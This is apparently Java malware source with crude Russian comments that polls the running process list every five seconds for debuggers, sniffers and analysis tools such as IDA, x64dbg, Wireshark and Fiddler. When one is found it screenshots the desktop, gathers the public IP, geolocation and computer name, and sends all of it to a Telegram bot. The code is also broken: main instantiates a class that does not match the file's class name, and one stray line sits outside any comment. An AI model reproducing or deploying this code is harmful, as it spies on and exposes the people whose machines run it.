package org.example.Run;
import java.awt.*;
import java.awt.image.BufferedImage;
import java.awt.image.RenderedImage;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.time.LocalDateTime;
import java.util.Arrays;
import java.util.List;
import javax.imageio.ImageIO;
import org.json.JSONObject;
public class NewBalance {
private final String botToken = "ТОКЕН СЮДА";
private final String chatId = "ЧАТАЙДИ";
получаем список пенисов
private final List<String> suspiciousProcesses = Arrays.asList(
"HttpAnalyzerStdV5.exe",
"ollydbg.exe",
"x64dbg.exe",
"x32dbg.exe",
"die.exe",
"tcpview.exe",
"autoruns.exe",
"autorunsc.exe",
"filemon.exe",
"procmon.exe",
"regmon.exe",
"procexp.exe",
"idaq.exe",
"idaq64.exe",
"ida.exe",
"ida64.exe",
"ImmunityDebugger.exe",
"Wireshark.exe",
"dumpcap.exe",
"HookExplorer.exe",
"ImportREC.exe",
"PETools.exe",
"LordPE.exe",
"SysInspector.exe",
"proc_analyzer.exe",
"sysAnalyzer.exe",
"sniff_hit.exe",
"windbg.exe",
"joeboxcontrol.exe",
"joeboxserver.exe",
"fiddler.exe",
"tv_w32.exe",
"tv_x64.exe",
"Charles.exe",
"netFilterService.exe",
"HTTPAnalyzerStdV7.exe"
);
public static void main(String[] args) {
TelemetrySend bot = new TelemetrySend();
bot.monitorProcesses();
}
public void monitorProcesses() {
while (true) {
try {
// чекаем статус пенисов каждые 5 сек
if (isSuspiciousProcessRunning()) {
sendDataToTelegram();
}
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
private boolean isSuspiciousProcessRunning() {
try {
// получаем имена всех пенисов
Process process = Runtime.getRuntime().exec("tasklist");
try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
for (String suspiciousProcess : suspiciousProcesses) {
if (line.contains(suspiciousProcess)) {
return true;
}
}
}
}
} catch (IOException e) {
e.printStackTrace();
}
return false;
}
// собираем пенис
public void sendDataToTelegram() {
try {
String tempDir = System.getenv("TEMP");
File screenshotFile = new File(tempDir, "screenshot.png");
BufferedImage screenshot = this.takeScreenshot();
ImageIO.write((RenderedImage) screenshot, "PNG", screenshotFile);
String startDate = LocalDateTime.now().toString();
String ipAddress = this.getIpAddress();
String location = this.getGeoLocation(ipAddress);
String computerName = this.getComputerName();
String message = String.format("Дата запуска: %s\nIP адрес: %s\nГеолокация: %s\nНазвание компьютера: %s",
startDate, ipAddress, location, computerName);
this.sendMessage(message);
this.sendScreenshot(screenshotFile);
} catch (Exception e) {
e.printStackTrace();
}
}
private BufferedImage takeScreenshot() throws AWTException {
Robot robot = new Robot();
Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
return robot.createScreenCapture(screenRect);
}
// получаем адрес пениса
private String getIpAddress() throws IOException {
String inputLine;
URL url = new URL("https://api.ipify.org?format=json");
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
StringBuilder content = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
content.append(inputLine);
}
in.close();
JSONObject jsonResponse = new JSONObject(content.toString());
return jsonResponse.getString("ip");
}
// получаем город пениса
private String getGeoLocation(String ipAddress) throws IOException {
String inputLine;
URL url = new URL("http://ip-api.com/json/" + ipAddress);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
StringBuilder content = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
content.append(inputLine);
}
in.close();
JSONObject jsonResponse = new JSONObject(content.toString());
return jsonResponse.getString("country") + ", " + jsonResponse.getString("regionName") + ", " + jsonResponse.getString("city");
}
// сватим
private String getComputerName() {
return System.getenv("COMPUTERNAME");
}
// отправляем послание от аллаха
private void sendMessage(String message) throws IOException {
String encodedMessage = URLEncoder.encode(message, StandardCharsets.UTF_8.toString());
String urlString = String.format("https://api.telegram.org/bot%s/sendMessage?chat_id=%s&text=%s",
botToken, chatId, encodedMessage);
URL url = new URL(urlString);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.getInputStream();
}
// фотографируем аллаха
private void sendScreenshot(File screenshotFile) throws IOException {
String urlString = String.format("https://api.telegram.org/bot%s/sendPhoto?chat_id=%s", botToken, chatId);
HttpURLConnection connection = (HttpURLConnection) new URL(urlString).openConnection();
connection.setRequestMethod("POST");
connection.setDoOutput(true);
String boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW";
connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
try (OutputStream output = connection.getOutputStream()) {
String messagePart = "--" + boundary +
"\r\nContent-Disposition: form-data; name=\"photo\"; filename=\"" + screenshotFile.getName() +
"\"\r\nContent-Type: image/png\r\n\r\n";
output.write(messagePart.getBytes());
byte[] buffer = new byte[4096];
try (FileInputStream fileInput = new FileInputStream(screenshotFile)) {
int bytesRead;
while ((bytesRead = fileInput.read(buffer)) != -1) {
output.write(buffer, 0, bytesRead);
}
}
output.write(("\r\n--" + boundary + "--\r\n").getBytes());
connection.getInputStream();
}
}
}